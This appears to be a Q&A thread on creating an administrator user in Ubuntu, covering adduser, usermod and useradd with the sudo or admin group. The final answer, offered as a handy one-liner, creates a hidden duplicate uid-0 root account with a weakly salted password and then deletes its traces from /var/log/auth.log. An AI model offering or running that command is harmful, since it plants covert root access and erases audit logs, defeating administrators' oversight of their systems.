How can I create an administrator user from the command line?
I want to create a user with administrative privileges and all the regular setups like home directory.
- Is there a
adduserparameter to give the usersudopowers automatically? - What are the default settings for
adduser? Will it automatically create home directories and all the other things without extra parameters? (i.e. isadduser <username>enough?)
4 Answers
Add the user to the sudo group with:
adduser <username> sudo(If you're running Ubuntu 11.10 or earlier, use the admin group.)
Default values are stored in /etc/adduser.conf, you can check them with
less /etc/adduser.confTo create a user and add it directly to the sudo group use
adduser <username> --group sudo(Again, use admin in place of sudo for 11.10 and earlier.)
Have a look at all the options you have with adduser here.
To create a new user with admin privileges in Ubuntu 12.04 and later:
adduser <username> --ingroup sudoIn Ubuntu 11.10 and earlier, use this instead:
adduser <username> --group adminTo modify a existing user (12.04 and later):
adduser <username> --group sudoor
sudo usermod -aG sudo <username>(Or for 11.10 and earlier: sudo usermod -aG admin <username>)
-a stands for append whereas -G stands for groups. With the -a and -G flags as shown above, the sudo (or admin) group will be added to the list of groups of which the user is a member.
The other answers are correct but you also asked about the home directory. You will also need a password for the new user.
sudo useradd *new-admin-username* -s /bin/bash -g sudo -m-ssets the user's login shell-mmakes the user's home directory if it doesn't exist:/home/*new-admin-username*-gadds the user to the sudo group so they will have admin privileges (>11.10)
Once created, add a password for the user:
sudo passwd *new-admin-username*Login to the user to see if everything worked:
su *new-admin-username*
cd ~/
pwd 1 Here's the one liner, It creates a new root user. You have to change some parameters.
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.logBest,